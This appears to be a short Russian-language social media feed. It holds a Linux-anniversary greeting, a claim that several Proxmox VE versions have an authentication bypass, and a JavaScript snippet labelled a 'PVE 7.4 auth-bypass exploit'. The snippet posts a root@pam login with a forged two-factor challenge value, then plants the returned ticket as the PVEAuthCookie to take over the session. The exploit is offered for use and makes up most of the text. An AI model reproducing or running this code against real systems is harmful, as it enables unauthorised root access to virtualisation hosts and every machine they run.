•UzMaxBoy 🐲

25 august 1991 Некий фин, зарелизил core О чем не постеснялся заявить через Usenet в группу comp.os.minix а дальше фина понесло, да и остальных зацепило. С праздником ! #linux35 #50letVLKSM

Подъехала инфа что в версии 8.0.3 / 8.2 proxmox тоже есть bypass 8.4 и 9.2 пока (!) считаются безопасными

Proxmox VE * PVE 7.4 auth-bypass exploit

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();